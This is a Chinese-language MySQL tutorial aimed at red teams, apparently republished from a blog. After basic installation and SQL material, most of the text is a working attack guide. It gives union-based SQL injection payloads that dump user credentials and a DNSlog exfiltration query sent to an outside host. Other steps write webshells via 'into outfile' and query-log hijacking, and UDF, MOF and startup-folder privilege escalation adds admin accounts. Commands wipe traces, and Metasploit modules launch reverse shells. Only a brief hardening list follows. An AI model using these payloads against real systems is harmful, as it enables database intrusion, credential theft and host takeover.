數據庫攻防之MySQL

MySQL 是最流行的關系型數據庫,與此同時也是 web 應用中最好的關系型數據庫管理應用軟件。我們在滲透過程中碰到的 PHP 站點大部分都會搭配 MySQL 數據庫,因此它是紅隊攻防中最常遇到的數據庫。

?

0x01 MySQL簡介

MySQL 是典型的關系型數據庫,所謂的關系型數據庫,其實就是建立在關系模型上的數據庫,借助于集合代數等數學概念和方法來處理數據庫當中的數據,它的特點如下:

1、數據以表格的形式出現
2、每行為各種數據記錄
3、每列為記錄所對應的數據域
4、許多行和列構成了一張表單
5、若干個表單組成數據庫

MySQL 由瑞典的 MySQL AB 公司開發,目前屬于 Oracle 公司,它作為關聯數據庫管理系統,關聯數據庫將數據保存在不同的表中,而不是將所有數據都在放一個大倉庫內,這極大提升了數據庫的速度和靈活性。與此同時 MySQL 支持大型數據庫,可以處理上千萬條記錄的大型數據庫。同時能夠運行在多個操作系統之上,并且支持多種語言,包括 C、C++、Python 等,特別對 PHP 語言有很好的支持。

0x02 MySQL安裝與連接

MySQL安裝配置

訪問 MySQL 官網即可下載對應版本的數據庫

下載地址:https://www.mysql.com/downloads/

截屏2022-06-06 16.46.29

Windows下安裝

選擇 MySQL 社區版MySQL community downloads下載

2

選擇下載 MySQL 服務器MySQL community server

3

選擇進入舊版本下載looking for previous GA versions?

4

5

選擇 Windows 64位 下載

6

下載完成后將壓縮包解壓,解壓至mysql目錄中。但運行 mysql.exe 爆出缺少dll文件錯誤:

7

我們需要安裝集成運行庫,完成后即可執行mysqld,但是又出現如下下錯誤。根據提示在 mysql 目錄下創建 data 目錄用于存放數據,完成后執行成功。

8

但是還是打不開,在服務中未查找到 mysql 服務,于是在 mysql 目錄下創建配置文件mysql.ini

[mysql]
# 設置mysql客戶端默認字符集
default-character-set=utf8
[mysqld]
# 設置3306端口
port = 3306
# 設置mysql的安裝目錄
basedir=C:\www\mysql
# 設置mysql數據庫的數據的存放目錄
datadir=C:\www\mysql\data
# 允許最大連接數
max_connections=200
# 服務端使用的字符集默認為8比特編碼的latin1字符集
character-set-server=utf8
# 創建新表時將使用的默認存儲引擎
default-storage-engine=INNODB

以管理員身份運行cmd(否則無法創建 mysql 服務),進入 mysql 的 bin 目錄中執行命令如下

mysqld --install  #安裝
mysqld --initialize #初始化
net start mysql #運行

9

在版本5.6及以下無需密碼即可登錄,但本數據庫版本為8.0,存在以下兩種方式獲取密碼

方法一

1、在 mysql.ini 文件末尾加上skip-grant-tables(取消權限設置)保存文件。
2、重啟mysql服務
3、cmd下進入 mysql/bin 目錄,輸入 mysql -u root -p ,回車,這時候不需要密碼即可登錄
重置密碼。輸入 use mysql 回車 
4、輸入如下命令修改密碼,需要注意的是新版本下 mysql 數據庫 password 字段更改為authentication_stringupdate user set authentication_string=password("newPassword") where user="root"; 5、刪除 mysql.ini 文件末尾 skip-grant-tables 并保存文件
6、重啟 mysql 服務后就能用新密碼登錄 root 賬戶

方法二

在目錄data/*.err文件中可顯示直接密碼
?

10


使用該密碼能夠直接登錄數據庫

mysql.exe -u root -p

11

登錄成功后必須重設密碼,否則會一直提示下面這行錯誤。

You must reset your password using ALTER USER statement before executing this statement.

重新設置密碼后即可完成配置

ALTER USER "root"@"localhost" IDENTIFIED BY "新密碼";

12

Linux下安裝

在 Linux 安裝 MySQL 相比 Windows 要簡單方便許多,通常使用aptyum等包管理軟件就可以安裝成功,下面以yum為例進行演示

wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
rpm mysql-community-release-el7-5.noarch.rpm
yum update
yum install mysql-server

有了 RPM 包后我們就可以下載獲取對應的 MySQL 軟件程序

  • MySQL - MySQL服務器。你需要該選項,除非你只想連接運行在另一臺機器上的MySQL服務器。

  • MySQL-client - MySQL 客戶端程序,用于連接并操作Mysql服務器。

  • MySQL-devel - 庫和包含文件,如果你想要編譯其它MySQL客戶端,例如Perl模塊,則需要安裝該RPM包。

  • MySQL-shared - 該軟件包包含某些語言和應用程序需要動態裝載的共享庫(libmysqlclient.so*),使用MySQL。

  • MySQL-bench - MySQL數據庫服務器的基準和性能測試工具。

設置權限并啟動 MySQL

chown -R mysql:mysql /var/lib/mysql/
mysqld --initialize
systemctl start mysqld

有時候我們還會用到MariaDB,其實這時 MySQL 的一個分支,與 MySQL 完全兼容,安裝命令如下:

yum install mariadb-server mariadb
systemctl start mariadb

MySQL連接

Windows下連接

自動安裝的話通過 phpstudy 直接安裝開啟服務即可,默認配置內容如下:

username : root(最高權限用戶)
password : root
port : 3306
host : localhost

本地的話進入 MySQL 的 bin 目錄通過mysql.exe就可以直接登錄數據庫

mysql.exe -uroot -proot -hlocalhost -P3306

遠程連接則需要在數據庫中開啟用戶外聯才能完成,比如設置root用戶外聯

grant all on *.* to root@'%' identified by 'root' with grant option;

截屏2021-09-21 下午5.31.21

Linux下連接

在 Linux 中連接數據庫也會方便不少,因為我們不需要進行環境變量的配置或進入 MySQL 的 bin 目錄下操作

mysql -uroot -proot -hlocalhost -P3306

如果需要退出數據庫的話,可使用如下命令完成退出

quit
exit 
\q

0x03 MySQL基礎用法

命令注釋

通過以下三類注釋符可對執行命令進行注釋

#mac
--mac
/*mac*/

基礎操作

查詢當前數據庫的基本信息

select database(); ## 查看當前數據庫
select user(); ##查看當前用戶
show status; ##查看當前特定資源信息
select version(); ##查看當前數據庫版本

對數據庫進行增刪改查

show databses; ##查看所有數據庫
select database(); ##查看當前數據庫
use mysql; ##使用mysql數據庫
create database test1; ##添加test1數據庫
drop database test1; ##刪除數據庫
alter database test1 charset utf8; ##修改數據庫編碼方式

對數據表進行增刪改查

show tables; ##查看當前數據庫下所有表名
desc users; ##查看數據表內容,包含表結構、字段類型、主鍵、是否為空等屬性
select username,password from users; ##查看當前users表中賬號密碼
create table users(id int(7)); ##創建 users 表
create table users(id int(7) auto_increment,username varchar(100) not null,password char(100) not null,primary key(id))engine=innodb default charset=utf8; ##創建完整表
drop table users; ##刪除表
alter table users rename users1; ##修改表
alter table users modify username varchar(155); ##修改字段數據類型
alter table users change username uname char(111); ##修改字段名
alter table users add desc char(111) not null; ##增加字段名
alter table users drop desc; ##刪除字段名
alter table users engine=myisam; ##修改存儲表引擎

數據類型介紹參考:https://www.cnblogs.com/-xlp/p/8617760.html

常見的約束條件

primary key ##標識該屬性為該表的主鍵,可以唯一的標識對應的元組
foreign key ##標識該屬性為該表的外鍵,是與之聯系某表的主鍵
not null    ##標識該屬性不能為空
unique      ##標識該屬性是唯一的
auto_increment ##標識該屬性的值自動增加
default     ##標識該屬性為默認值

對數據進行增刪改查

insert into users(id,username,password) values(1,'mac','mac'); ##為所有字段添加數據
insert into users(username) values('mac1'); ##為指定字段添加數據,id自動增加
insert into users(id,username,password) values(null,'mac2','123456'),(null,'mac2','123456'); ##指定字段增加多條數據
insert into users values(null,'mac3','123456'),(null,'mac4','123456'); ##增加多條數據
delete from users where id=1; ##刪除數據,如果刪除前id為7,那么之后id增加為8、9、10...
truncate table users; ##刪除數據,會清除全部,如果刪除前id為7,那么之后id增加為1
delete from users; ##全部刪除表
update users set password="111111" where id = 1; ##修改指定類型數據
update users set password="111111",username="mac2" where id = 2; ##修改多種類型數據
update users set password="333333"; ##修改所有類型數據
select * from users; ##查詢users表中所有數據
select username from users; ##查詢單個字段數據
select username,password from users; ##查詢多個字段數據
select * from users where id=1; ##按條件查詢

常見關系運算符

= 等于
!= <> 不等于
< 小于 
> 大于 
<= 小于等于 
>= 大于等于

高級查詢

帶in關鍵字查詢

select * from users where id in(1,2,3);
select * from users where id not in(1,2,3);

空值查詢

select * from users where id is not null;
select * from users where id is null;

去重復查詢

select distinct username from users;

like模糊查詢

##%代表任意值
select * from users where username like "d%";
select * from users where username like "%d%";
##_代表單個任意值
select * from users where username like "d_";
select * from users where username like "_d_";

and 和 or 多條件查詢

select * from users where id < 7 and username = 'mac3';
select * from users where id = 5 or username = 'mac4';
##and和or一起使用
select * from users where id > 2 and password = '123456' or username = 'mac1';
select * from users where id > 2 or username = 'mac2' and password = '123456';
當and和or一起使用時,and的優先級高于or,因此兩者一起使用時會優先運算and,再運算or

聚合查詢

select count(id) from users;
select sum(id) from users;
select avg(id) from users;
select max(id) from users;
select min(id) from users;select count(*) from users;count() 返回某列的行數
sum()   返回某列值的和
avg()   返回某列的平均值
max()   返回某列的最大值
min()   返回某列的最小值

分組查詢

##單獨使用group by
select * from users group by username;##group by 和 having一起使用
select max(id) from users group by username;
select count(id) from users group by username;
select * from users group by username having sum(id)<6;

having關鍵字和where作用相同,區別在于having關鍵字可以跟聚合函數,而where關鍵字不能跟聚合函數。通常having關鍵字與group by一起使用,對分組結果進行過濾

使用 limit 限制查詢結果的數量

select * from users limit 1;
select * from users limit 5;
#顯示1-5結果
select * from users limit 1,5;

為表和字段取別名

##為表取別名
select * from users as u where u.id = 2;
##為字段取別名
select username as name from users;

where子查詢

select * from users where id in (select * from users where id > 5);
## 把內層查詢結果當作外層查詢的比較條件
select * from users where id in (select id from users where id > 5);

from子查詢

select * from (select * from users where id < 4) as re;
## 將內層查詢結果提供給外層再次查詢

exists子查詢

select * from users where exists(select * from users where id > 2);
## 將外層查詢結果拿到內層,看內層查詢是否成立,加入括號內成立,則輸出所有,返回不成立則無

聯合查詢

select * from users union select *,1 from users1;

連接查詢

內連接關鍵詞:inner join on

組合兩個表中的記錄,法牛話關聯字段相符的記錄,返回兩個表的交集

select * from a_new a inner join b_new b on a.id = b.id;

左連接操作關鍵詞:left join on/ left outer join on

左連接就是左外連接,左表的記錄將全部表示出來,右表只會顯示符合搜索條件的記錄,而右表記錄不足的地方均為 null

select * from a_new a left join b_new b on a.id = b.id;

右連接操作關鍵詞:right join on/ right outer join on

右連接就是右外連接,左表只會顯示符合搜索條件的記錄,右表的記錄將會全部表示出來,而左表記錄不足的地方均為 null

select * from a_new right join b_new b on a.id = b.id;

0x04 MySQL滲透

SQL注入

數據庫信息獲取

information_schema 數據庫是 MySQL 自帶的,它提供了訪問數據庫元數據的方式,什么是元數據呢?元數據就是關于數據的數據,如數據庫名、表名、列的數據類型、訪問權限等。有時候用于表述該信息的其他術語包括“數據詞典”和“系統目錄”

在 MySQL 中 information_schema 看作是一個數據庫,確切的說是信息數據庫。其中保存著關于mysql服務器維護的所有其他數據庫的信息。如數據庫名、數據庫表、表欄的數據類型和訪問權限等。而在 information_schema 中有數個只讀表,實際上就是視圖,而不是基本表,因此無法看到與之相關的任何文件

  • schemata表:提供了當前數據庫實例中所有數據庫的信息。show database()的結果就是取自該表

  • tables表:提供了關于數據庫表的信息,描述了哪個表屬于哪個庫、表類型、表引擎、創建時間等信息,show tables from schemaname的結果就是取自該表

  • columns表:提供了關于表中列的信息,描述了某張表上所有列信息,show columns from schemaname.tablename的結果就是取自該表

  • statistics表:提供了關于表索引的信息,show index from schemaname.tablename的結果就是取自該表

  • users_privileges表:提供了關于全程權限的信息,該信息取自mysql.user授權表,是非標準表

  • schema_privileges表:提供了關于數據庫權限的信息,該信息取自mysql.user授權表,是非標準表

  • table_privileges表:提供了關于表權限的信息,該信息取自mysql.tables_priv授權表,是非標準表

  • column_privileges表:提供了關于列權限的信息,該信息取自mysql.columns_priv授權表,是非標準表

  • character_sets表:提供了mysql實例可用字符集的信息。show character set結果取自該表

  • collations表:提供了關于各字符集的對照信息

  • collation_sharacter_set_applicability表:指明了可用于校對的字符集,這些列等效于show collation的前兩個顯示字段

  • table_constraints表:指明了存在約束的表以及表的約束類型

  • key_column_usage表:指明了具有約束的鍵列

  • routines表:指明了關于存儲子程序(存儲程序和函數)的信息。此時routines表不包含自定義函數(UDF),而名為mysql.proc name的列指明了information_schema.routines表的mysql.proc表列

  • view表:指明了關于數據庫中的視圖信息,需要擁有show view權限,否則無法看到視圖信息

  • triggers表:指明了關于觸發程序的信息,必須擁有super權限才能查看該表

利用 information_schema 中的表查詢相關數據

schemata        包含所有數據庫名、類型、字符集等
tables          包含所有表信息
columns         包含所有列信息

查詢schemata中的第一個庫名

select schema_name from information_schema.schemata limit 0,1;

截屏2021-09-24 上午1.21.12

查詢information_schema中的數據信息

select * from information_schema.tables where table_schema='information_schema' limit 0,1;

截屏2021-09-24 上午1.23.22

通過十六進制轉換后查詢

select hex('information_schema');
# 696E666F726D6174696F6E5F736368656D61
select * from information_schema.tables where table_schema=0x696E666F726D6174696F6E5F736368656D61 limit 0,1;

截屏2021-09-24 上午1.25.56

查詢表名

select column_name from information_schema.columns where table_schema=0x696E666F726D6174696F6E5F736368656D61 and table_name = 'character_sets';

截屏2021-09-24 上午1.29.15

通過查詢到的表名、列名查詢數據信息

select id,username,password from test.users;

截屏2021-09-24 上午1.33.44

有了以上基礎,我們就以 sqlilabs 為例開始測試 SQL 注入,注入方式為基礎的聯合查詢注入

截屏2021-12-04 下午10.28.07

目標SQL語句如下:

$sql = select * from users where id='$id' limit 0,1
# 返回內容
if true:輸出查詢內容
else:print_r(mysql_error());

判斷注入點

id=1' AND '1'='1 //返回正常界面

截屏2021-12-04 下午10.34.02

id=1' AND '1'='2 //返回錯誤界面

截屏2021-12-04 下午10.34.33

判斷字段數

id=1' order by 3--+ //返回正常界面

截屏2021-12-04 下午10.38.19

id=1' order by 4--+ //返回錯誤界面

截屏2021-12-04 下午10.38.07

由此可說明字段數為3,通過 union select 查看回顯位置

id=-1' union select 1,2,3--+

截屏2021-12-04 下午10.40.33

查詢基礎信息

id=-1' union select 1,version(),user()--+
id=-1' union select 1,@@version_compile_os(),database()--+

截屏2021-12-04 下午10.43.32

截屏2021-12-04 下午10.45.23

查詢表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

截屏2021-12-04 下午10.49.07

查詢列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

截屏2021-12-04 下午10.50.32

查詢關鍵信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+

截屏2021-12-04 下午10.53.34

哈希獲取與解密

使用SQL語句查詢到用戶哈希命令如下

select host,user,password from mysql.user; //MySQL<=5.6
select host,user,authentication_string from mysql.user; //MySQL>=5.7

通過 sqlmap 能夠直接獲取用戶哈希

sqlmap -u xxx --passwords

截屏2022-06-16 11.27.35

如果遇到哈希值無法破解的情況,通過md5解密網站也可拿到明文密碼

截屏2022-06-16 11.27.25

文件讀取與寫入

文件讀取和寫入需要滿足以下幾個前提條件

1、擁有高權限數據庫用戶,比如root
2、secure_file_priv無限制
3、當前用戶對目標目錄擁有讀取/寫入權限
4、知道讀取/寫入的絕對路徑

通過load_file()函數讀取文件命令如下

select load_file('/var/www/html/index.php') //Linux
select load_file('C:\\phpStudy\\WWW\\shell.php') //Windows

成功讀取目標文件內容

?id=-1' union select 1,2,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.php')--+

截屏2022-06-16 14.49.56

與此同時load_file()還能夠通過 dnslog 的方式讀取文件內容,但是在 Linux 下無法使用 dnslog 進行攻擊,這是因為 Windows 有 UNC 路徑,而 Linux 沒有。那什么是 UNC 路徑呢?UNC 路徑是通過命名規定用于遠程共享文件的一種格式,具體格式如下:

\\servername\sharename\filname

例如\\192.168.0.132\mac\是一個的典型的 UNC 路徑,MySQL 中的concat函數會拼接這其中的反斜杠符\,通過轉移反斜杠符\變成了兩個反斜杠符\\,利用 UNC 路徑可完成 dnslog 外帶數據攻擊

id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qk9fw5.ceye.io\\mac'))--+

截屏2022-05-12 17.34.13

在 dnslog 平臺上返回查詢結果,使用 hex 編碼可有效減少特殊符號的干擾

截屏2022-05-12 17.34.02

解碼 hex 編碼還原數據

echo 44756D627E44756D62 | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"

截屏2022-05-12 17.37.44

通過 into outfile 以及 into dumpfile 則能夠直接寫入文件

?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'--+
?id=-1' union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'--+

截屏2022-06-16 15.20.19

直接訪問木馬如下,說明寫入成功

截屏2022-06-16 15.20.35

通過以下命令可查詢 MySQL 特性secure_file_priv是否開啟

show global variables like '%secure_file_priv%';
Value說明
NULL不允許導入或導出
/tmp只允許在 /tmp 目錄導入導出
不限制目錄
  • 在 MySQL 5.5 之前 secure_file_priv 默認是空,這個情況下可以向任意絕對路徑寫文件

  • 在 MySQL 5.5 之后 secure_file_priv 默認是 NULL,這個情況下不可以寫文件

日志查詢寫入shell

那么當secure_file_priv不為空時,還有什么可以方式能夠獲取權限呢?答案是通過日志寫入,主要分為常規日志寫入和慢查詢日志寫入。其中利用條件如下:

1、擁有高權限數據庫用戶,比如root
2、當前用戶對目標目錄擁有寫入權限
3、知道讀取/寫入的絕對路徑

首先查詢當前常規日志的相關配置

SHOW VARIABLES LIKE 'general%';

截屏2022-05-12 18.17.31

還是以 sqlilabs 為例進行測試,通過堆疊注入開啟日志并設置日志存儲路徑

id=1';set global general_log="on";set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac.php';--+

截屏2022-05-13 09.18.03

再次查看日志,發現日志配置已修改完成

SHOW VARIABLES LIKE 'general%';

截屏2022-05-13 09.18.18

嘗試寫入 webshell

id=1';select <?php phpinfo();?>

截屏2022-05-13 09.29.29

訪問木馬地址mac.php成功解析,說明寫入成功

截屏2022-05-13 09.29.50

除了常規的日志寫入以外,我們還能夠以慢日志寫入的方式完成寫入,而方法上也基本大同小異。唯一的不同的點就在于慢查詢日志主要記錄在 MySQL 中響應時間超過閥值的語句,因此在注入時需要借助sleep()函數延長查詢時間,否則無法記錄到慢查詢日志當中。在數據庫中查詢慢查詢日志記錄是否開啟

show variables like '%slow_query_log%';

截屏2022-06-16 21.14.02

開啟慢查詢日志記錄

set global slow_query_log = "ON";

設置慢查詢日志文件

set global slow_query_log_file='/var/www/html/shell.php'

通過 SQL 注入開啟慢查詢日志寫入木馬

id=1';set global slow_query_log = "ON";set global slow_query_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac2.php';--+

截屏2022-06-16 22.15.15


再次查看日志,發現慢日志配置已修改完成

show variables like '%slow_query_log%';

截屏2022-06-16 22.18.38

向慢查詢日志中寫入 webshell

id=1';select '<?php phpinfo();?>' from mysql.db where sleep(10)--+

截屏2022-06-16 22.21.33

訪問木馬地址mac2.php成功解析,說明寫入成功

截屏2022-06-16 22.21.42

yaSSL緩沖區溢出

MySQL 的 yaSSL 庫存在一個緩沖區溢出漏洞,允許遠程攻擊者利用漏洞執行任意代碼。該漏洞由于年代比較久遠,因此也沒有詳細研究。目前已經在 MSF 中完成集成,利用模塊如下:

exploit/windows/mysql/mysql_yassl_hello
exploit/linux/mysql/mysql_yassl_hello

在測試過程中發現 MySQL 版本小于以下影響版本可重點關注

MySQL AB MySQL 5.1.x
MySQL AB MySQL 5.5.x

身份認證繞過

漏洞詳情

身份認證繞過(CVE-2012-2122)漏洞即用戶名多次輸入錯誤密碼會有幾率直接成功登錄數據庫。與 yaSSL 緩沖區溢出一樣,由于不太常見的原因,我也沒對該漏洞進行復現

影響版本
MySQL 5.1.62, 5.2.12, 5.3.6, 5.5.23
漏洞利用

在 Linux 中通過 shell 命令循環 1000 次登陸數據庫

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

在 MSF 中也同樣集成了相關利用模塊

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf > set rhosts 127.0.0.1
msf > run

UDF提權

漏洞詳情

udf 為 MySQL 中的用戶自定義函數,將動態鏈接庫文件寫入 MySQL 的 plugin 目錄中可創建自定義函數,從而能夠幫助我們執行系統命令,完成數據庫權限至系統權限的提升。

其中不同系統的動態鏈接庫文件在 Sqlmap 以及 Metasploit 中已內置,Sqlmap 的 UDF 動態鏈接庫文件位置為/data/udf/mysql
?

截屏2022-06-16 22.55.16


但是這些動態鏈接庫為了防止被誤殺都進行了編碼處理,因此無法直接使用。需要借助 Sqlmap 自帶的 cloak.py 進行解碼后才能使用

python3 cloak.py -d -i lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

Metasploit 的 UDF 動態鏈接庫文件則無需解碼,同時它的位置位于/embedded/framework/data/exploits/mysql

截屏2022-06-16 23.00.17

漏洞利用

根據漏洞利用原理,我們首先需要尋找 MySQL 的插件目錄,通過 SQL 語句可以非常方便地找到

show variables like '%plugin%';

截屏2022-06-16 23.11.15


如果不存在的話可以在 shell 找到 MySQL 的安裝目錄,并在其中創建/lib/plugin文件夾,但是通過 NTFS 數據流創建文件夾的成功率相對比較低。

select 123 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

什么?你說找不到 MySQL 的安裝目錄,通過 SQL 語句也能夠查詢出來

select @@basedir;

截屏2022-06-16 23.15.32

當然寫入 plugin 目錄需滿足以下條件

1、擁有高權限數據庫用戶,比如root
2、secure_file_priv無限制
3、當前用戶對 plugin 目錄擁有寫入權限

執行 SQL 語句可將動態鏈接庫文件寫入 plugin 目錄中,其中的 hex 編碼是將動態鏈接庫文件經過十六進制編碼后的結果,如果懶得轉換可以參考國光大神的UDF

SELECT 0x7f454c4602... INTO DUMPFILE 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';

截屏2022-06-16 23.37.15

利用寫入的動態鏈接庫創建自定義函數。但是出現了報錯信息。

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

截屏2022-06-17 00.21.09

這是因為 MySQL 的安裝版本為 32 位,而寫入的動態鏈接庫為 64 位,因此我們需要重新寫入 32 位的動態鏈接庫,成功創建后看 MySQL 函數中是否已經新增

select * from mysql.func;

截屏2022-06-17 00.47.34

如果創建成功我們就可以利用該函數執行系統命令

select sys_eval('whoami');

截屏2022-06-17 00.48.58

可以看到當前權限為管理員,如果需要刪除自定義函數,可執行如下命令

drop function sys_eval;

如果當前已經擁有 webshell,我們可以上傳相關腳本完成 UDF 提權

3

導出 UDF 后可通過腳本執行系統命令

9

MOF提權

漏洞詳情

利用 MOF 進行提權局限性比較大,基本上只能在 Windows Server 2003 環境中才能成功提權。利用原理是在C:/windows/system32/wbem/mof下的 mof 文件每隔一段時間都會被系統執行,因為mof文件中有一部分是 VBS 腳本,利用這個VBS腳本可調用 cmd 執行系統命令。

漏洞利用

利用的 mof 腳本內容如下:

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter 
{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; 
}; instance of ActiveScriptEventConsumer as $Consumer 
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mac P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators mac /add\")"; 
};  //執行語句instance of __FilterToConsumerBinding 
{ Consumer   = $Consumer; Filter = $EventFilter; 
};

通過 SQL 語句可將該文件導入目標目錄C:/windows/system32/wbem/mof當中

select 0x237... into dumpfile 'C:\\windows\\system32\\webm\\mof\\mac.mof'

執行成功后我們可通過 cmd 查看用戶是否已經添加,如添加則提權成功

net user mac

由于每隔一段時間 mof 文件都會被執行,因此想要完成痕跡清理需要暫時關閉 winmgmt 服務,最后刪除 mof 文件

net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\mac.mof /F /S

在擁有 webshell 的情況下,我們可以上傳相關腳本完成 MOF 提權

3

連接數據庫后點擊 exploit 可成功寫入將 mof 文件

4

寫入執行命令,點擊 exploit 成功添加用戶

net user mac xxx12456 /add && net localgroup administrators mac /add

5

在計算機管理中發現用戶添加成功

6

當然在 MSF 中也集成了 MOF 提權模塊,使用起來相對來說比較方便且能夠自動清理痕跡

msf > use exploit/windows/mysql/mysql_mof
msf > set payload windows/meterpreter/reverse_tcp
msf > set rhosts 10.10.10.10
msf > set username root
msf > set password root
msf > run

啟動項提權

在 Windows 環境下我們還可以利用 MySQL 數據庫的文件寫入將自定義腳本導入啟動項當中,利用腳本可在系統用戶登錄、開機、關機時自動運行。

手動提權

Windows 中常見的啟動項路徑如下:

# Windows Server 2003中文系統
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動# Windows Server 2003英文系統
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup# Windows Server 2003開關機項 需要自己建立對應文件夾
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown# Windows Server 2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

啟動項路徑支持腳本類型為 vbs 和 exe,無論是利用 vbs 執行 cmd 命令還是通過 CS 生成 exe 都能完成利用,以下為添加管理員的 VB 腳本

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user mac P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators mac /add", 0

接下來將 VB 腳本經過 hex 編碼后通過 SQL 語句寫入系統啟動項當中

select 0x1234... into dumpfile "C:\\Documents and Settings\\Administrator\\Start Menu\\Programs\\Startup\\test.vbs"

成功寫入等待用戶重新登錄,登錄成功的同時腳本也會自動執行。

MSF提權

在 MSF 中也集成了相關的利用模塊,使用起來非常方便

msf > use exploit/windows/mysql/mysql_start_up
msf > set rhosts 10.10.10.10
msf > set username root
msf > set password root
msf > run

截屏2022-06-17 03.48.52

在本地開啟 MSF 監聽并注銷用戶

msf6 > handler -H 192.168.0.111 -P 4444 -p windows/meterpreter/reverse_tcp

重新登錄后上線 MSF

截屏2022-06-17 03.54.37

0x05 MySQL安全防護

1、禁用弱口令、匿名登錄
2、采用最小權限原則,數據庫連接非必要不使用管理員用戶
3、如無需要禁止用戶開啟外聯
4、限制多次登錄及失敗重試時間
5、開啟日志記錄

網絡安全學習資源分享:

給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!

對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。

因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取?

讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)

同時每個成長路線對應的板塊都有配套的視頻提供:?

?大廠面試題

?

視頻配套資料&國內外網安書籍、文檔

當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料

所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~?

讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)?

特別聲明:

此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/15900.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/15900.shtml
英文地址,請注明出處:http://en.pswp.cn/web/15900.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

YOLOv10 | 無NMS的YOLO | 實時端到端目標檢測的新突破

過去幾年里&#xff0c;YOLOs因在計算成本和檢測性能之間實現有效平衡而成為實時目標檢測領域的主流范式。研究人員針對YOLOs的結構設計、優化目標、數據增強策略等進行了深入探索&#xff0c;并取得了顯著進展。然而&#xff0c;對非極大值抑制&#xff08;NMS&#xff09;的后…

redis--消息隊列

分類 生產者消費模式 發布者訂閱模式 生產者消費模式 在生產者消費者(Producer/Consumer)模式下&#xff0c;上層應用接收到的外部請求后開始處理其當前步驟的操作&#xff0c;在執行完成后將已經完成的操作發送至指定的頻道(channel)當中&#xff0c;并由其下層的應用監聽…

【Chrono Engine學習總結】6-創建自定義場景-6.2-chrono中的光線設置

由于Chrono的官方教程在一些細節方面解釋的并不清楚&#xff0c;自己做了一些嘗試&#xff0c;做學習總結。 上一篇文章中&#xff0c;自己【用sketchup重建了三維場景】&#xff0c;但導入chrono中顏色很不正確&#xff0c;幾乎都是白色的&#xff0c;但也不是完全白色。經過…

IDE上傳本地倉庫到GitHub

IDE上傳本地倉庫到GitHub 1、選擇遠程倉庫平臺2、下載安裝Git3、IDE集成Git4、本地項目上傳GitHub 1、選擇遠程倉庫平臺 1.1、注冊遠程倉庫平臺 常見的遠程倉庫托管平臺有&#xff1a; 1&#xff09;GitHub 域名&#xff1a;https://github.com 介紹&#xff1a;GitHub是全球最…

Java訂餐系統源碼 springboot點菜系統源碼

Java訂餐系統源碼 springboot點菜系統源碼 源碼下載地址&#xff1a;https://download.csdn.net/download/xiaohua1992/89341358 功能介紹&#xff1a; 前臺登錄&#xff1a;前臺登錄&#xff1a; ①首頁&#xff1a;菜品信息推薦、菜品信息展示、查看更多 ②菜品信息&…

Stanford斯坦福 CS 224R: 深度強化學習 (3)

